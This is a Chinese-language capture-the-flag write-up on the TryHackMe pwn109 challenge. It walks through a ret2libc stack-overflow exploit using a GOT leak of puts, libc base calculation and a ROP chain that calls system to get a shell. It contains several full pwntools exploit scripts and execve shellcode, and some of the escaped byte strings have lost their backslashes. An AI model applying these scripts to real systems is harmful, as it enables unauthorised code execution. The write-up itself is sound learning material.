pwn109-ret2libc
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
可能要GOT,
但是多了两个不知道的参数
SHSTK和IBT
运行情况
没回显,但是会溢出
IDA分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
setup(argc, argv, envp);
banner();
puts(aThisTimeNo);
return gets(v4);
}
有其它函数比如__libc_csu_init
嘶
gdb调试
import sys
from pwn import*
from struct import*
exe ='./pwn109'
context.binary = ELF(exe,checksec=False)
payload =b"A"*40+p64(0x4011f2)
p = process(exe)
#p=gdb.debug(exe,"b main")
p.sendline(payload)
p.recvline()
p.interactive()
这样是可以又跳转到main函数
如果可以和pwn104一样就好了,返回地址跳转回变量地址,
shellcode+b"A"*(40-len(shellcode))+p64(buf)
那么怎么得到变量地址,因为没有PIE所以可以直接得到吧
shellcode=b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'
payload=shellcode+b"A"*(40-len(shellcode))+p64(0x7fffffffdd90)
好吧,这个变量地址会变
现在我有一个能输入两次的代码了
import sys
from pwn import *
from struct import *
exe = './pwn109'
context.binary = ELF(exe,checksec=False)
payload = b"A"*40+p64(0x4011f7)
p = process(exe)
#p=gdb.debug(exe,"b main")
p.sendline(payload)
p.interactive()
但这样貌似会覆盖原地址的值
答案
看wp1,
它的整个目的,貌似是通过泄露一些got表中的函数地址,去确认目标用了什么版本的libc,通过这个libc基址计算出system函数的地址
我用了它这个wp1还是失败,最终看另一篇文章https://cloud.tencent.com/developer/article/2384867,构造完整exp如下:
import sys
from pwn import*
from struct import*
exe ='./pwn109'
binary = context.binary = ELF(exe,checksec=False)
#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc = binary.libc # use it locally
io=process(exe)
#io=gdb.debug(exe,"b main")
RET = p64(0x40101a)# for stack alignment
pop_rdi_ret = p64(0x4012a3)
main_addr=p64(binary.symbols.main)
#exploit += p64(RET)
#exploit += p64(POP_RDI)
plt_puts_addr=p64(binary.plt.puts)
got_puts_addr=p64(binary.got.puts)
payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr
payload+=main_addr
io.recvuntil("Go ahead")
io.recv()
io.sendline(payload)
#output=io.recvall().split(b"n")
output=io.recvline().split(b"n")
#print(output)
leaked_puts_address=u64(output[0].ljust(8,b"x00"))
print("Leaked puts address :{}".format(str(hex(leaked_puts_address))))
puts_static_addr=libc.symbols.puts
print("puts_static_addr:{}".format(str(hex(puts_static_addr))))
print(str(hex(libc.symbols.puts)))
libc_base=leaked_puts_address-puts_static_addr
print("libc_base:{}".format(str(hex(libc_base))))
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
sys_addr=libc.symbols['system']
print("system:{}".format(str(hex(sys_addr))))
#print(payload2)
io.sendline(payload2)
io.interactive()
过程分析
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
这里牵扯到puts函数,它只要一个参数
32位程序的函数参数通过栈传参,而64位是寄存器传参,为了给寄存器赋值(大于6个才会入栈),要用到ROPgadget
寄存器的6个参数传参顺序:rdi->rsi->rdx->rcx->r8->r9
puts函数只有一个参数,那就用rdi
就行
ROPgadget --binary pwn109 --depth 12 >gadgets.txt
0x00000000004012a3 : pop rdi ; ret
....
0x000000000040101a : ret
得到一个pop rdi的地址,根据wp1的文章,这样写wp:
import sys
from pwn import*
from struct import*
exe ='./pwn109'
binary = context.binary = ELF(exe,checksec=False)
#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc = binary.libc # use it locally
io=process(exe)
RET =0x40101a# for stack alignment
pop_rdi_ret = p64(0x4012a3)
exploit =b""
exploit +=b"x90"*40
#exploit += p64(RET)
#exploit += p64(POP_RDI)
plt_puts_addr=p64(binary.plt.puts)
got_puts_addr=p64(binary.got.puts)
payload=exploit+pop_rdi_ret+got_puts_addr+plt_puts_addr
io.sendline(payload)
leaked_puts_address=u64(output[0].ljust(8,b"x00"))
print("Leaked puts address :{}".format(str(hex(leaked_puts_address))))
io.interactive()
这样泄露了一个puts函数的地址,
0x7fe62ca83760
为了确认当前libc版本可以再来2个函数,GOT表就那三个
got_gets_addr=p64(binary.got.gets)
got_setvbuf_addr=p64(binary.got.setvbuf)
...
payload+=pop_rdi_ret+got_gets_addr+plt_puts_addr
payload+=pop_rdi_ret+got_setvbuf_addr+plt_puts_addr
leaked_gets_address=u64(output[1].ljust(8,b"x00"))
leaked_setvbuf_address=u64(output[2].ljust(8,b"x00"))
print("Leaked gets address :{}".format(str(hex(leaked_gets_address))))
print("Leaked setvbuf address :{}".format(str(hex(leaked_setvbuf_address))))
那么根据泄露的地址去找对应版本的库,下载下来,脚本进行引用,但这里我查的是kali本地的libc,所以不用导入,如果是获取远程shell,就需要这种步骤得到远程版本的libc
i386是32位程序用的,amd64是64位程序用
之后为了能system呢,需要再返回一次main函数
调试看它过程大概就这个样子
第一次输入如下:
payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr
payload+=pop_rdi_ret+got_gets_addr+plt_puts_addr
payload+=pop_rdi_ret+got_setvbuf_addr+plt_puts_addr
每一次在4012a3
的地址上,有三次改变
分别是:puts@put/got/setvbuf
再到main,执行第二条payload
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(leaked_gets_address+0x1a7e43)
payload2+=p64(leaked_gets_address+0x528f0)
这个后面卡住了
mov qword ptr [r15 + 8], rdx <Cannot dereference [8]>
不知道什么原因,最后看另一篇ret2libc的例子,根据这篇文章按理说,exp最终应该是这样子:
1.泄露puts地址
2.引入libc文件,得到libc基址,得到libc的system函数地址并调用
import sys
from pwn import*
from struct import*
exe ='./pwn109'
binary = context.binary = ELF(exe,checksec=False)
#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc = binary.libc # use it locally
io=process(exe)
#io=gdb.debug(exe,"b main")
RET = p64(0x40101a)# for stack alignment
pop_rdi_ret = p64(0x4012a3)
main_addr=p64(binary.symbols.main)
#exploit += p64(RET)
#exploit += p64(POP_RDI)
plt_puts_addr=p64(binary.plt.puts)
got_puts_addr=p64(binary.got.puts)
payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr
payload+=main_addr
io.recvuntil("Go ahead")
io.recv()
io.sendline(payload)
#output=io.recvall().split(b"n")
output=io.recvline().split(b"n")
print(output)
leaked_puts_address=u64(output[0].ljust(8,b"x00"))
print("Leaked puts address :{}".format(str(hex(leaked_puts_address))))
puts_static_addr=binary.symbols.puts
print("puts_static_addr:{}".format(str(hex(puts_static_addr))))
libc_base=leaked_puts_address-puts_static_addr
print("libc_base:{}".format(str(hex(libc_base))))
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
print(payload2)
io.sendline(payload2)
io.interactive()
后来发现了个问题,本地进行 sys_addr=binary.symbols['system']
时,它找不到system函数
仔细看了看代码
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
或者
libc=binary.libc
我才发现上面这行命令没有使用过,所以
print(str(hex(libc.symbols['system']))) #打印出来是528f0,和查到的一样
所以要更改的代码是这一段,这一块都用的是libc库的地址,binary是用的程序里的
至于system和/bin/bash呢,也可以不用手输地址,直接libc.symbols.system
即可获取
...
#puts_static_addr=binary.symbols.puts
puts_static_addr=libc.symbols.puts
print("puts_static_addr:{}".format(str(hex(puts_static_addr))))
libc_base=leaked_puts_address-puts_static_addr
print("libc_base:{}".format(str(hex(libc_base))))
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
print(payload2)
io.sendline(payload2)
io.interactive()
这样才符合这篇文章所说的,libc基址的后三位是0才对,最终拿到shell
plt
过程链接表,调用function@plt
相当于调用函数本身
https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got
https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
https://blog.csdn.net/weixin_46521144/article/details/115378030
总结
也是栈溢出,NX开启
64位程序函数传参,主要是6个寄存器rdi->rsi->rdx->rcx->r8->r9
,之后再考虑栈
ret2libc,也就是利用libc库所自带的system函数,通过引入libc,计算出libc基址,进而得到system地址进行调用
payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr+main_address
这种构造的格式叫做:溢出+pop_rdi_ret+参数+函数地址+函数返回地址
原理嘛,理解不了,就记着这种利用方式吧,这种方式叫 ROP技术,利用参数
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
RET是为了解决栈对齐问题
参考
wp1:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/
wp2:https://razvioverflow.github.io/tryhackme/pwn101.html
64位_ret2libc例子:山深有杏,https://cloud.tencent.com/developer/article/2384867
原文始发于微信公众号(羽泪云小栈):pwn109-ret2libc
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论